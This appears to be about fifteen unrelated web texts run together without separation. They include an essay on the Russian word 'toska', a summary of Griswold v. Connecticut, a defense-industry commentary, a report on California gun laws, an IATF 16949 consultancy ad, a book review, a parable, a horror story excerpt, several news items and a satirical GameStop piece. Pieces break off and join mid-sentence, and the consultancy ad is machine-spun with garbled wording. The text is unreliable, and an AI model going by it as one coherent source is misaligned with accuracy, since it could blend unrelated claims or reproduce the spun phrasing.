Honesty is crucial here, so I will begin with some myself. As I read and translated the answers sent by Russian friends, I realised that I hadn’t fully appreciated what it was that I was asking them. Students of Russian often come across ‘toska’ in the context of the so-called white émigrés—Russians who left the country in the wake of the revolution—many of whom wrote about the nostalgia they felt for their motherland. This gives the impression that ‘toska’ is, to a large extent, a positive emotion: a strange sort of pride, a warmth of memory, perhaps? Not so, according to many of those I spoke with.
“The feeling of a person who is lonely, bored or in a state of sorrow. The feeling that something is lacking or that you are bored with someone or something.” Anya
‘Toska’ is a moving target and foreign folk must accept the fact that it is impossible to define. Instead, it must be felt. A person’s understanding and experience of ‘toska’ depends on a great many things; situation, outlook, and geography, to name a few. For those from St Petersburg, like Nabokov himself, ‘toska’ is basically a nuanced version of deep depression, an almost unbearable portion of sadness with a sprinkling of dill (those familiar with Russian cuisine will know why this herb, in particular, was chosen). The dill, in this case, is a longing for something unknown, something more interesting. In short, up here in this city, ‘toska’ is no picnic.
Closer inspection of what Russians have to say shows that the common thread to ‘toska’ is sadness. This thread is, naturally, deep blue in colour and each adds to this his or her reasons for their own understanding of the word. Some will add the red of love and desire, some the grey of boredom while still others will add the purple of nostalgia. These secondary colours are determined by the person’s life situation and, in acknowledging this, we each weave our own variation of ‘toska’. There can be little doubt that a psychologist could learn a great deal about a Russian simply by listening to their definition of the word.
“A feeling of sadness and apathy. ‘Toska’ is different in that it relates to a feeling of hopelessness, from a missed chance or a wrong choice. Sadness is something fleeting, ‘toska’ is deeper, more serious.” Margarita
It is fascinating to think that thousands of years ago the Slavic people felt it sufficiently important to label this feeling when others did not. Why? The suspicion must be that, for whatever reason, Russian culture has evolved in such a way as to recognise the reality that life is not easy and that, as humans, we are susceptible to the effects of emotions—that we are rarely in control of our own destinies and that negative emotions are as much a part of life as the positive. Rather than something to be ashamed of, it is a fact of life that is to be embraced, as it has been by the Russian language. In all its forms, ‘toska’ is a word that expresses a degree of vulnerability and it takes an honest person to admit that they feel that way.
“Toska is a feeling of inner emptiness, a meaningless of everything around you, the feeling of being lost, physically and spiritually, in both space and time.” Alexey Kostromin (photographer)Intro | Court History | Just Change | Biographies of the Robes | Landmark Cases | Primary Sources
In Griswold v. Connecticut, the Court identified a constitutionally protected right to privacy, which the court reasoned prohibited states from denying birth control to married couples. Above, a man protests outside a Planned Parenthood clinic in New Haven, Connecticut.
Reproduction courtesy of Corbis Images In Griswold v. Connecticut, the Court identified a constitutionally protected right to privacy, which the court reasoned prohibited states from denying birth control to married couples. Above, a man protests outside a Planned Parenthood clinic in New Haven, Connecticut.Reproduction courtesy of Corbis Images Griswold v. Connecticut (1965)
In Griswold v. Connecticut (1965), the Supreme Court ruled that a state's ban on the use of contraceptives violated the right to marital privacy. The case concerned a Connecticut law that criminalized the encouragement or use of birth control. The 1879 law provided that "any person who uses any drug, medicinal article or instrument for the purposes of preventing conception shall be fined not less than forty dollars or imprisoned not less than sixty days." The law further provided that "any person who assists, abets, counsels, causes, hires or commands another to commit any offense may be prosecuted and punished as if he were the principle offender."
Estelle Griswold, the executive director of Planned Parenthood League of Connecticut, and Dr. C. Lee Buxton, doctor and professor at Yale Medical School, were arrested and found guilty as accessories to providing illegal contraception. They were fined $100 each. Griswold and Buxton appealed to the Supreme Court of Errors of Connecticut, claiming that the law violated the U.S. Constitution. The Connecticut court upheld the conviction, and Griswold and Buxton appealed to the U.S. Supreme Court, which reviewed the case in 1965.
The Supreme Court, in a 7-2 decision written by Justice William O. Douglas, ruled that the law violated the "right to marital privacy" and could not be enforced against married people. Justice Douglas contended that the Bill of Right's specific guarantees have "penumbras," created by "emanations from these guarantees that help give them life and opinion." In other words, the "spirit" of the First Amendment (free speech), Third Amendment (prohibition on the forced quartering of troops), Fourth Amendment (freedom from searches and seizures), Fifth Amendment (freedom from self-incrimination), and Ninth Amendment (other rights), as applied against the states by the Fourteenth Amendment, creates a general "right to privacy" that cannot be unduly infringed.
Further, this right to privacy is "fundamental" when it concerns the actions of married couples, because it "is of such a character that it cannot be denied without violating those fundamental principles of liberty and justice which lie at the base of our civil and political institutions." Because a married couple's use of contraception constitutes a "fundamental" right, Connecticut must prove to the Court that its law is "compelling" and "absolutely necessary" to overcome that right (i.e., the "strict scrutiny test"). Because Connecticut failed to prove this, the law was struck down as applied.
Other justices, while agreeing that marital privacy is a "fundamental right" and that the Connecticut law should be struck down, disagreed with Justice Douglas as to where in the Constitution such a "fundamental right" exists. In his concurrence, Justice Arthur Goldberg argued that the Ninth Amendment, which states that the Bill of Rights does not exhaust all the rights contained by the people, allows the Court to find the "fundamental right to marital privacy" without having to ground it in a specific constitutional amendment. In another concurrence, Justice John Marshall Harlan II maintained that a "fundamental right to marital privacy" exists only because marital privacy has traditionally been protected by American society. Finally, in yet another concurrence, Justice Byron White argued that a fundamental right to marital privacy constitutes a liberty under the Due Process Clause, and is protected by the Fourteenth Amendment against the states.
Yet, for all their differences, the majority in Griswold v. Connecticut agreed that the "right to privacy," in addition to being "fundamental," was "substantive." In West Coast Hotel v. Parrish (1937), the Court had rejected the idea that the Constitution protects "substantive rights," i.e., protects certain activities from government interference that are not explicitly mentioned in the Bill of Rights. In Griswold, however, it ruled that "substantive rights" do exist in non-economic areas like "the right to privacy," even if they do not in economic activities like the right to contract. Over the next 10 years, the Court expanded this fundamental, substantive "right to privacy" beyond the marital bedroom, ruling that the state could not ban the use of contraceptives by anyone (Eisenstadt v. Baird [1972]), and that the state could not ban most abortions (Roe v. Wade [1973]).
AUTHOR'S BIO Alex McBride is a third year law student at Tulane Law School in New Orleans. He is articles editor on the TULANE LAW REVIEW and the 2005 recipient of the Ray Forrester Award in Constitutional Law. In 2007, Alex will be clerking with Judge Susan Braden on the United States Court of Federal Claims in Washington.November 21, 2013
The US Land Systems Industry has Lost its Edge But Does that Matter?
This week at the Atlantic Council we hosted Linda Hudson, CEO of BAE Systems in the US, as the second speaker in our 'Captains of Industry' series. In the press so far, her talk has mostly been covered as an address on the state of human capital in the defense industry, and specifically on immigration reform. For my part, I was at least as interested in a single line she uttered to explain the importance of that factor of production. A continued flow of technical talent into the United States is important for national security, she asserts, because people here would much rather work for Apple or Google than in the defense industry, and because in military matters,Actually, in the area in which BAE Systems has been best known for the past decade—land systems—I would say that superiority was lost long ago. I just don’t think it matters, as it hasn’t since the end of the Cold War.Let’s start with one of BAE’s leading products, the M2 Bradley infantry fighting vehicle (IFV) that the company makes—refurbishes, really—in Pennsylvania. It’s an awesome tank destroyer with passenger seats, but it’s hardly regarded as the leading tracked IFV on the market. Only the US Army and the Royal Saudi Land Force drive it. By international acclaim and number of customers, the pole position in that segment arguably goes to another product of BAE Systems: Hägglunds’ CV90, which is used by the armies of Finland, Sweden, Norway, Denmark, the Netherlands, and Switzerland. It just happens to be made in Sweden.Linda’s domestic competitor General Dynamics Land Systems is in a similar position in tanks. Last week Defense Industry Daily and Defense Update reported on how the Indonesian Army has just signed a contract to buy a large lot of refurbished armored vehicles from Rheinmetall. The deal includes 103 Leopard 2A4 tanks, 42 Marder 1A3 IFVs, and 11 armored recovery and engineering vehicles, plus the customary load of documentation and ammunition, for €216 million. That price works out to just about $1.75 million per vehicle—arguably a real bargain. And as the company noted in its press release.” That’s almost a global standard.In contrast, GDLS so far has five users of its M1 Abrams series: the US, Egypt, Saudi Arabia, Kuwait, and Australia. But even this shorter list is not as impressive as it looks. The sale to Australia in 2007 has since turned out to be a small deal there: out of the original set of 59 tanks, fewer than 30 are operational. The Egyptians have been buying American tanks mostly because American government has been paying them to buy them, or at least was until the July coup. The Kuwaitis bought American for the very valid reason that the Americans (and pointedly not the Germans) saved their country. The Saudis couldn’t buy German for a long time, simply because the Germans had the scruples not to sell tanks there—until recently. In short, the Americans are not tearing up the market, except on political connections.GDLS has also supplied several thousand Stryker troop carriers to the US Army. Whatever the initial complaints from pundits, troops in Iraq and Afghanistan have generally loved them. The basic design, though, is Swiss, and the vehicles are mostly assembled in Canada.I could write a similar story in amphibious assault vehicles about the twelve-year fiasco of GDLS’s Expeditionary Fighting Vehicle. As an engineer at BAE Systems once told me, all the way back in 1996, the company told the USMC that its competitor’s winning design was overreaching, and would never prove reliable in operations. Meanwhile, BAE Systems Hägglunds and Singapore Engineering Technologies continue to crank out much more reasonably designed amphibious armored vehicles, which a host of customers around the world are actually buying.In artillery, we’ve heard for decades that the US Army and Marine Corps did not have the best weapons around. Their guns were famously outranged by Iraqi artillery in the 1991 war. That didn’t matter, as American gunners were much more accurate, partly because they had GPS (not actually a land system), and partly because they were just much better trained. But the Army’s domestic replacement programs over the past two decades have been either wholly ill-conceived projects that were far too expensive—the Crusader and the Non-Line of Sight Cannon—or interesting ideas that were also too expensive—the Netfires rockets-in-a-box idea. The only two wholly new systems introduced have been the British-designed M777 lightweight towed howitzer and the Marines’ new French-designed 120 mm mortar.As bad as this all sounds, we should ask whether it matters.First, let’s note that all of these competing products are made in countries at least loosely allied to the United States, and they’re sold to countries that are at least reasonably friendly to the United States. As greatly as Europeans value the American contribution to their collective security, no one in Europe is about to hold up American access to armaments. If one needs British howitzers or French mortars or Swedish troop carriers, the technologies and the products will be available.Second, let’s laud the superior kit that American contractors have delivered when it has really mattered. Here, exhibit one is the MRAP. In support of Hudson’s thesis about immigration, I also note that one of the two pioneering companies in that field, Force Protection (now a subsidiary of GDLS), was founded by South African émigrés whose American passports were sponsored by DARPA. The other, of course, was BAE Systems, but again, through its South African subsidiary OMC. Whatever the foundation, though, an industry arose from a nearly standing start around 2002 to deliver the largest armored vehicle program since the Second World War. Today, it’s in the waning phases of its shutdown, and that’s fine. For after the experience of that surge, why would we question whether Americans and their friends could do that again?Third, let’s note that American companies actually are quite good at incremental improvements to existing systems. One of the best examples may be BAE Systems’ M109 'Paladin Integrated Management' upgrade of the Army’s armored howitzers. It’s the seventh upgrade in a vehicle series that dates to the early 1960s. The PIM is a solid product now entering production, but the design represents inside-baseball marketing. It’s an evolutionary development of an existing system, rather than another attempt at a technological Great Leap Forward that utlimately falls flat.Finally, let’s acknowledge the real source of American military advantage on land. The question is not whether it’s founded on technological superiority. The debate in this field is between the viewpoints of Stephen Biddle (of George Washington University), who says that what matters is a closely coupled combination of technology and training, and Daryl Press (of Dartmouth College), who says that it's mostly training, given just reasonably good equipment. Frankly, I find that the contrasting techno-centric view horribly downplays the importance of that human capital. Hudson extolled the skills of industry in her talk this week. I say that we should also consider the skills of the troops industry supplies.That is, after twelve years of hard fighting in two land wars on the other side of the world, the United States has a reserve of hundreds of thousands of combat veterans, many with multiple tours of duty and years of experience, available for whatever next war might arise. As Tim Kane of the Hudson Institute has written, the personnel system that organizes them is a Bolshevik nightmare. As the Chairman of the Joint Chiefs himself has admitted, the compensation scheme that sustains them is itself unsustainable. As half of Washington is lamenting, a sequestered budget is restraining their large-scale training. But to paraphrase the Duke of Wellington, with enough of those fine fellows, any would-be hegemon can be defeated. There may be a great deal of work to be done to secure the future of the US land forces, but there is no reason to panic over the state of the land systems industry in the United States. Whatever the rumors of its demise, it has been rumbling along just fine for twenty years.James Hasik is a senior fellow with the Brent Scowcroft Center on International Security.California Governor Vetoes Some, Not All, Gun Control Bills Passed by State Legislature, Meaning Mostly Bad News for Gun Owners
California Governor Jerry Brown (D) signed a statewide ban on lead ammunition (AB711) on Friday but vetoed the expanded “assault weapons” ban (SB374).
In addition to vetoing the expanded “assault weapons” ban, Brown vetoed SB299, SB475, SB567, SB755, AB169, and AB180. However, as good as this news sounds, it is far outweighed by the myriad new gun control laws Brown signed into law.
The lead ammo ban alone poses significant problems for CA gun owners, hunters, and wildlife management.
Earlier this week, Assemblyman and gubernatorial candidate Tim Donnelly (R-33rd Dist.) warned that AB711 is really just a ban on hunting disguised as an ammunition ban because it leaves hunters with non-options for options.
On October 8, Donnelly said:
[AB711] forces people to go to non-lead bullets, but non-lead bullets are considered to be arming piercing, and if they can be fired through a handgun they are illegal to own. It is a breach of federal law to own arming piercing ammo for handguns. This will effectively end ammunition options for hunters, ending hunting in CA as well.
According to the San Jose Mercury News, Brown also signed:
SB363–Expands the crime of “criminal storage” in a way that will make it difficult for gun owners with children to keep a loaded gun in the home. SB683–“Requires owners of long guns to earn safety certificates like those already required of handgun owners.” AB48–Bans “conversion kits” that enable gun owners to turn standard capacity magazines into “high capacity magazines.” AB231–Ends organizational purchase of “assault weapons,”.50 cal. riles, and machine guns. An individual MUST go through the standard background checks and registration for such weapons from now on. AB 500–Expands the time the DOJ has to do a background check on gun purchasers and expands places in which it is illegal to store a firearm. AB1131–Extends “from six months to five years the prohibition from owning firearms for those who’ve described a credible violent threat to a psychotherapist.”
Follow AWR Hawkins on Twitter @AWRHawkins.Contact Information http://www.qgspl.com/
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01125918332
qalitygspl@gmail.com
The automative industry creates high-chance, high cost items and benefits and has firmly controlled industry necessities; in this manner, IATF 16949 better adjusts to the requirements of its stakeholders. As indicated by the IATF 16949 Revision Team, the objective of this standard is the development of quality management system that accommodates sontinual improvement, emphasizing defect prevention, and the reduction of variety and waste in the store network.IATF 16949 assumes a fundamental part in guaranteeing quality requirements are met, thus reducing the risk of product and service failure for automative productive, service and or accessory parts organization. Certifications to IATF 16949 is required for associations who wish to manufacture parts for the automative industry.IATF 16949:2016 was released on 1 October 2016. It replaces ISO/TS 16949:2009. This standard, alongside appropriate client particular prerequisites and ISO 9001:2015, characterizes the quality management system requirements necessities for automative production and service parts organization. IATF 16949 is to be comprehended as a supplement to and utilized as a part of conjunction with ISO 9001:2015. IATF 16949:2016 can be obtained from the Automotive Industry Action Group (AIAG) at www.aiag.org. ISO 9001:2015 can be purchased from the International Organization for Standardization (ISO) at www.iso.org.ISO standards are explored at regular intervals to figure out what changes, assuming any, are required to stay up with the latest and important. Since the ISO 9001:2008 amendment, business needs and desires have changed essentially. The new ISO 9001:2015 better meets client prerequisites, adjusts to new advancements, better incorporates with complex supply chains, and addresses the requirement for more supportable improvement activities. In the event that IATF 16949 is executed and appropriately dealt with, an organization will get acknowledgment from regulatory authorities, deliver more secure and more reliable service. This would help to meet or exceed client necessities and Improve procedures and documentation system.About QGSPL:The name defines itself the work, providing the benefits and building the training solution and consultancy service as an ISO certified trainer and consultant http://www.qgspl.com/ is a perfect place for getting a reliable care and services in an ethical manner.Contact:Quality Growth Services Pvt. Ltd.H � 13, IInd Floor, Kirti Nagar,New Delhi � 110 015, INDIA.Phone no : 011 � 25431737011 � 25918332011 � 41425273Fax : 0091 � 11 � 25438598Email id : qgs@qgspl.com,marketing@qgspl.comWebSite : http://www.qgspl.com/For more information, visit: http://www.qgspl.com/**I received a free copy of this book from Net Galley in exchange for my honest review**
An AMAZING and Talented author! I loved this book - it was part fast paced with a ton of action and adventures, as well as part love story.
Natalia Lyons, or Talia for short, is a Talent - she has a special ability due to the "Great Contamination" over a hundred years prior that caused a lot of natural disasters - which lead to a nuclear contamination. The result was the Talented who have special abilities such as Morphing, Light Manipulation, Viewers, Telekinesis, or the rarest type of Talent - a Mimic which can take on any Talent from someone around them. Talia is Telepathy, but a very exceptional one referred to as an advanced Mind Manipulator.
Since her parents were murdered right before her eyes when she ten years old, she has wanted to hone her skills, especially when the director of the McDonough School for the Talented - Danbury McDonough, aka Mac, and his family - take her in and adopt her as a part of their family. And now Talia is a Pledge to the Hunters (aka Spies) through the "Talented Organization of Exceptionally Interesting Citizens or TOXIC, so she can take revenge on those who tore her family apart and killed her parents - whom she believes is another group of Talents called the Coalition who is lead by Ian Crane.
Beside her through her training is her boyfriend, Donavon - who is also the son of Mac, as well as her team mates Henri and Erik. As her training progresses, she and her team build a strong working bond. Using Erik's morphing skills along with Talia's telepathy skills, the three of them are able to communicate without uttering a word out loud, which comes in very handy while running missions. Throughout her training, Talia feels Donavon slowly pulling away from her, but she tries to maintain their bond. Then she meets Penny, who is a Pledge for the "BRAINS" or Cryptos. They become fast friends, which Talia likes as the only other friends she has are her boyfriend and her two team mates. Once Talia and her team go on their first mission, it quickly goes from bad to worse when Talia is seriously injured. Erik helps her - using his mimicking talent - by taking the pain away while Henri tends to the wound. From that moment on, Talia and Erik share a special bond.
Upon returning their compound, things between Talia and Donavon become even more strained. When he leaves for a mission of his own, Talia is feeling the pressure of their relationship, but knows there are more important things at stake. While he is gone, Talia starts feeling things like jealousy regarding Erik, but again, she quick tries to dismiss them, but the keep nagging at her in the back of her mind. But when Donavon's betrayal hits too close to Talia's heart and she finds him with another girl in his bed, she explodes and blows up his cabin.
Mac then sends Talia and her team on several missions, but she walks around like she is in a fog that just won't lift - so she throws herself into her training and preparations. As her skills and confidence build - as well as her feelings for Erik. Finally, she is called to Mac's office to complete her "Solo mission", which is basically like their graduation - and it isn't just any solo mission...she is to infiltrate the compound of Ian Crane himself. Just as her relationship with Erik starts to bloom, she is off to Las Vegas for her mission. But when she runs into trouble and comes face to face with Ian Crane himself, Talia is injured and forced to make a quick getaway. Lucky for Talia, she is able to activate her tracker before she blacks out. The TOXIC operatives - Donavon in particular - finds her and she is rushed to the awaiting plane. But when Donavon finds a letter from Erik to Talia he gave her right before her mission that explains how he came to be with TOXIC and about his family, it's anyone's guess on how Donavon will react - will he give the note to his father, or back to Talia and keep Erik's secrets safe?
I just LOVED this book! Talia is strong and smart, and while she is a flawed human despite her abilities, she is real. And I thought that the "love triangle" was brought around well - Erik seems too hot for words! Can't wait to see what happens next in this amazing series! Highly recommend :)A professor stood before his philosophy class and had some items in front of him. When the class began, he wordlessly picked up a very large and empty mayonnaise jar and proceeded to fill it with golf balls. He then asked the students if the jar was full. They agreed that it was.
The professor then picked up a box of pebbles and poured them into the jar. He shook the jar lightly. The pebbles roll
ed into the open areas between the golf balls. He then asked the students again if the jar was full. They agreed it was.
The professor next picked up a box of sand and poured it into the jar. Of course, the sand filled up everything else. He asked once more if the jar was full.. The students responded with a unanimous ‘yes.’
The professor then produced two Beers from under the table and poured the entire contents into the jar effectively filling the empty space between the sand.The students laughed..
‘Now,’ said the professor as the laughter subsided, ‘I want you to recognize that this jar represents your life. The golf balls are the important things—your family, your children, your health, your friends and your favorite passions—and if everything else was lost and only they remained, your life would still be full. The pebbles are the other things that matter like your job, your house and your car.. The sand is everything else—the small stuff.
‘If you put the sand into the jar first,’ he continued, ‘there is no room for the pebbles or the golf balls. The same goes for life.
If you spend all your time and energy on the small stuff you will never have room for the things that are important to you.
Pay attention to the things that are critical to your happiness.
Spend time with your children. Spend time with your parents. Visit with grandparents. Take your spouse out to dinner. Play another 18. There will always be time to clean the house and mow the lawn.
Take care of the golf balls first—the things that really matter. Set your priorities. The rest is just sand.
One of the students raised her hand and inquired what the Beer represented. The professor smiled and said, ‘I’m glad you asked.’ The Beer just shows you that no matter how full your life may seem, there’s always room for a couple of Beers with a friend.Another Successful Op (archive)
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Another Successful Op.
by Adam I. Bolenbaugh.
Oct 25, 1985: Rural LA, 7:49 PM.
I looked over at Vick. He was busy dunking a donut in my coffee, his gun lying on his lap like a coiled snake. I cough. This car is getting cramped. Why the hell have we been staking this place out anyhow? Suburban housewife and local Tupperware pyramid dabbling in the occult; my ass. If the tip hadn't come down from U-Cell I'd be on a date right now. I inspect the house for the hundredth time tonight; red brick walls, metal gutters, flower pots in the windowsills. I turn the car key, and the ford purrs to life. I'm about to step on the gas when Vick looks over at me and stops chewing. "Shit" he says, opening his door and cocking the lever action on his gun. Annoyed, I look over at the house.
"Shit" I echo. The lights in the house begin to fade in and out, like they ain't getting enough power or something. Then the whole neighborhood goes black. "This doesn't look good" Vick says from the sidewalk. I kill the engine, but leave the keys in the ignition. I get out of my car and stare at the red light now flaring through the basement window.
Guess I was wrong about this one I think as I pull my gun from an inner coat pocket. I check the chamber to make sure it's loaded: Six bullets and I'm ready to meet the suspects. Vick stares over at me again. He's a small man. Brown eyes, and black curly hair. He looks menacing as he squints into the beam of my flashlight. "I should have brought one" he hisses through his teeth. "Why? You afraid of the dark?" I say, trying to laugh but only managing a nervous snicker. He flips me the bird, but gives a little grin. "Guess you lead the way, oh fearless master". I push my way past him, and walk up to the front door. The red light from the basement goes out. I stop myself from knocking, and instead kick the door open, the sound of breaking wood echoing down the street.
Vick is right behind me as I move into the dark room. I raise my gun, and sweep the left side of the room, as my temporary partner scans the right. "Wish I'd brought a light" he says again, pulling a lighter from his pocket. "I have a feeling what we're looking for is in the basement" I say, moving towards what should be the kitchen.
God. Lit by candles, the kitchen looks like the set for Martha Stewarts show. Except for the body parts on the bloodied cutting board. "Vick!" I give a little yell. "This is bad". Vick enters the room, I don't make eye contact. He asks if I'd identified the corpse yet. Swearing under my breath, I force myself to look at the torrid scene of gore in front of me. |
bit of pull with the enthusiast. The singer-turned-would-be-auto-tycoon tells Leno that the vehicle is built with Chrysler bits (likely a Dodge Challenger ), and the tunes will be special, of course, with Beats By Dre supplying the hardware. The artist is building the vehicle in Los Angeles in an effort to spur job growth in the region.
Hit the jump to watch will.i.am talk cars with Leno. The video starts with a musical number, but we suggest fast-forwarding to 3:40 to the interview.A single-engine Socata TBM700 plane crashed into Ridgway Reservoir in Ouray County on Saturday afternoon, authorities said. Authorities believe there are no survivors.
Ouray County spokeswoman Marti Whitmore says five people were believed aboard the plane, headed from Bartlesville, Okla., to Montrose, about 180 miles southwest of Denver and 50 miles north of the reservoir.
Federal Aviation Administration spokesman Ian Gregor says it crashed south of Montrose, just before 2 p.m. Saturday. He said he didn’t know the cause of the accident.
Whitmore said search and rescue operations were suspended Saturday night, but no victims have been recovered. No identities have been released.
She said the aircraft crashed in 60 to 90 feet of water.
The plane is registered to an Alabama corporation. Messages left for the company Saturday evening weren’t returned.
Whitmore said recovery work will continue Sunday.
The reservoir is within the Ridgway State Park, referred to as the “Switzerland of America” on the park’s website. The park is 15 miles from Ouray.
Park rangers and other staff members were assisting, said Randy Hampton, spokesman for Colorado Parks and Wildlife.
Denver Post staff writer Kirk Mitchell contributed to this article.One of Australia's best known terms of endearment has been banned in the Australian parliament. Security guards in the building have been ordered not to call people'mate' but to address them as'sir' or'madam'. This report from Red Harrison: Listen to the story The Prime Minister John Howard was among the first to describe the ban as absurd and ridiculous, and well he might. Mate is one of John Howard's favourite words. He even calls President George Bush'mate'. The opposition labour party leader, Kim Beasley quickly saw an opportunity to make political capital - "not to call people mate is un-Australian", he says, "but it's also a reflection of the elitist culture of the conservative government which is all about masters and servants". A former labour Prime Minister Bob Hawke says the ban is pomposity gone mad. Mr Hawke says the term "mate" is also folklore in the Australian labour party because if anyone significant calls you mate you know the knife is about to go in your back. And "mate" is also handy at official functions when you can't remember a name. The ban was apparently imposed after a senior official complained of being called mate and security guards were ordered to be more courteous. Now the secretary of the parliamentary services, Hilary Penfold, says courtesy is fine but the ban went too far. It will be revoked later today. RED HARRISON, BBC, SYDNEY Listen to the words Mate
Friend to make political capital
to gain an advantage over another political group, here, the conservative party a reflection of the elitist culture
a sign that a group of people believes that it is superior to or better than other groups pomposity gone mad
pompous means that you think you are more important than you are. Here, Bob Hawke is saying that this ban is very silly and unnecessary folklore
(part of) the traditional stories and customs of a country, culture or organisation the knife is about to go in your back
(often, a knife in the back or stabbed in the back) - someone is going to say or do something that will affect your reputation or name in a bad way even though they are being nice to you handy
useful to be more courteous
to be more polite and respectful revoked
cancelled, stopped Read more about this storyOAKLAND — Waste Management is making a long shot attempt to hold onto Oakland’s $1 billion garbage contract after losing it to a local company that city officials fear might not be able to handle the job when the contract begins next year.
In a letter to city officials this week, the Houston-based company dramatically lowered its proposed rates and offered to split the work with California Waste Solutions, the Oakland-based firm that the City Council awarded the full 10-year contract to last month.
Waste Management’s new offer comes as the council on Wednesday is scheduled to take a second vote to officially seal the deal with California Waste Solutions.
Waste Management’s offer is only 71 cents more than California Waste Solutions monthly rate of $36.82 for single-family homeowners. Both offers still represent increases of more than 23 percent for homeowners.
While California Waste Solutions remains the low bidder, the new offer would eliminate concerns about whether the upstart company truly will be ready to deliver services when the contract starts July 1, 2015.
City staffers recommended against contracting with California Waste Solutions, which currently only handles a portion of Oakland’s curbside recycling pickup business, because it will have to build new facilities, buy new equipment and develop billing systems to provide the service that Waste Management has provided for decades.
The company has countered that it has partnered with another major garbage company to provide backup services.
“To me, with California Waste Solutions, there are too many ifs,” Councilman Noel Gallo said. But Gallo acknowledged that he might be the only council member willing to do an about-face just two weeks after he and his colleagues voted unanimously to give California Waste Solutions the contract.
Councilmembers Pat Kernighan and Dan Kalb both said they didn’t expect to switch their vote.
“I think people feel like we made our decision, and we’re sticking with it,” Kernighan said.
The offer from Waste Management would keep it responsible for garbage and organics pickup as well as hauling trash to the landfill, while leaving curbside recycling to California Waste Solutions. It is proposing a monthly rate of $37.53 — down from $43.70 it proposed for the same scenario last month before the council vote.
Contact Matthew Artz at 510-208-6435.99-Year Old Former GameStop Employee Insists He Was Just Following Orders
HAGUE, Netherlands — On trial for a litany of crimes against humanity, ninety-nine year old former GameStop employee Max Sheehan insisted he was merely following orders from his bosses.
“I know I did terrible things, but I did them because I was scared, hopeless and behind on my pre-order numbers,” said Sheehan testifying in a bulletproof case at the International Criminal Court.
“It was a ruthless system that sucked the humanity out of you and made you a cog in a brutal unstoppable machine,” he added, sobbing. “Anyone who tried to fight back was locked in a storage room and forced to listen to those GameStop promos they play in the store on repeat for hours. That is how they broke us.”
“I can’t even tell you how many moms fell victim to our regime. I hope I am forgiven in the life after this,” he wailed as he slumped against the bulletproof glass. “I was just following pre-orders.”
Read More From Hard Drive, The Only Ethical Gaming Journalism Site on The Internet:
Sheehan was notorious during his 13-year tenure as a GameStop employee at the Midland Park branch in New Jersey. Nicknamed “The Trade-in Nazi,” legends of his lowball offers for used games were well-known within the North Jersey gaming community.
“One time he asked me if I wanted to pre-order GTA IV and I said no,” testified Brian Robertson, one of many victims to made their way to The Hague to submit testimony in the trial. “He then asked me to step behind the counter and took my hand and ran it up his back. It was littered with wounds from what felt like a whip. I pre-ordered on console and PC. I hope he burns in hell.”
Sheehan, who started working at GameStop in 1999 and stayed with the company until 2012 immediately went into hiding in South America after the extent of his crimes broke out.
“South America is a notorious hiding spot for ex-GameStop employees trying to skirt the law but today shows justice knows no bounds,” lead attorney Patrick Smite said at a press conference outside of court.
“Consider this a warning to all former employees that we are coming and justice will not rest until you are all behind bars or at least give me fair value for my Nintendo 64 because I see you assholes selling them for seventy dollars and you only offered me ten” he added while pounding the podium with his fist.
After being found guilty Sheehan was sentenced to death and was executed at midnight, being buried alive by unsold FunkoPops.Catch Up Before the Movie 1 of 12
While the sequel to Man of Steel made headlines over the summer by adding Batman to the cast (with Ben Affleck in the role), the news of Gal Gadot joining in as Wonder Woman may be a bigger deal. After all, while Batman has been on the big screen many times with multiple franchises and actors built around the character, this will be Wonder Woman's first big screen appearance.
While the princess of the Amazons (that is, the warrior women of the Greek mystical island Themyscira, not by the river) hasn't been in theaters, she did have an incredibly popular TV turn, albeit more than three decades ago. With two ongoing comic book series (her own, titled of course Wonder Woman and one shared with her film co-star and current comic book romantic interest called Superman/Wonder Woman), plus her appearances in Justice League, there are plenty of brand-new Wonder Woman comic books to read for a modern interpretation. But if you just can't get enough, there are 70 years worth of backstories to check out, as well. Here are ten of the best at showing you what she's all about and why you should be excited that Wonder Woman is making her big screen debut on July 17, 2015.The Senate on Wednesday defeated each party’s version of a constitutional amendment that would have required a balanced federal budget.
The rival proposals would have prohibited Congress from spending more each year than it receives in revenue.
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But each one fell well short of the two-thirds majority needed to send them to the states for ratification.
Republicans of every stripe, from Tea Party favorite Sen. Rand Paul Randal (Rand) Howard PaulWhite House pleads with Senate GOP on emergency declaration The Hill's Morning Report — Emergency declaration to test GOP loyalty to Trump The Hill's 12:30 Report: Trump escalates fight with NY Times MORE (Ky.) to centrist Sen. Olympia Snowe (Maine), came down to the floor throughout Tuesday and Wednesday to express support for Sen. Orrin Hatch Orrin Grant HatchThe FDA crackdown on dietary supplements is inadequate Orrin Hatch Foundation seeking million in taxpayer money to fund new center in his honor Mitch McConnell has shown the nation his version of power grab MORE’s (R-Utah) plan, arguing it represented the last chance to keep the United States from falling into the sort of crisis in which Europe is currently embroiled.
“We must prevent what’s happening in Europe from happening here,” said Senate Minority Leader Mitch McConnell Addison (Mitch) Mitchell McConnellWhite House pleads with Senate GOP on emergency declaration Senate Dems seek to turn tables on GOP in climate change fight Pence meets with Senate GOP for 'robust' discussion on Trump declaration MORE (R-Ky.) prior to the party-line 47-53 defeat of the GOP bill. “That’s just what our balanced-budget proposal would do.”
Although both proposals possessed characteristics associated with balanced-budget amendments, they differed by including rules regarding taxation designed to alienate members across the aisle.
The Democratic proposal, S.J.Res 24, would have prohibited Congress from lowering taxes on millionaires and would have created a “lock box” for the Social Security Trust Fund.
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Republicans dismissed it, prior to its 21-79 defeat, as a “cover” to allow Democrats to say they supported a balanced-budget amendment when they did not.
It is a “weak alternative to the Republicans’ amendment,” concluded Sen. Jim DeMint (R-S.C.).
The Republicans’ plan, S.J.Res.10, meanwhile, drew fire from Democrats for its provision to ban Congress from raising taxes without a two-thirds majority and for attempting to implement a cap on government spending of 18 percent of the gross domestic product.
Democrats said those riders turned the amendment into an unpalatable political document.
“Balancing the books is a simple equation, yet Sen. Hatch’s proposal goes a number of steps further and seemingly tries to shrink government altogether,” said Sen. Mark Udall Mark Emery UdallGardner gets latest Democratic challenge from former state senator Setting the record straight about No Labels Trump calls Kavanaugh accusations ‘totally political’ MORE (Colo.), the author of the Democratic plan.
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Several Democrats also voted against both bills, decrying the attempts to tamper with the Constitution over budgetary matters.
“I have never seen the solemn duty of protecting the Constitution treated in such a cavalier manner as it is today,” said Senate Judiciary Committee Chairman Patrick Leahy Patrick Joseph LeahyDems introduce bills to restore Voting Rights Act provision Can Lindsey Graham take the politics out of judicial battles? Senate plots to avoid fall shutdown brawl MORE (D-Vt.). “I wish those who so often say they revere the Constitution would show it the respect it deserves rather than treating it like a blog entry.”
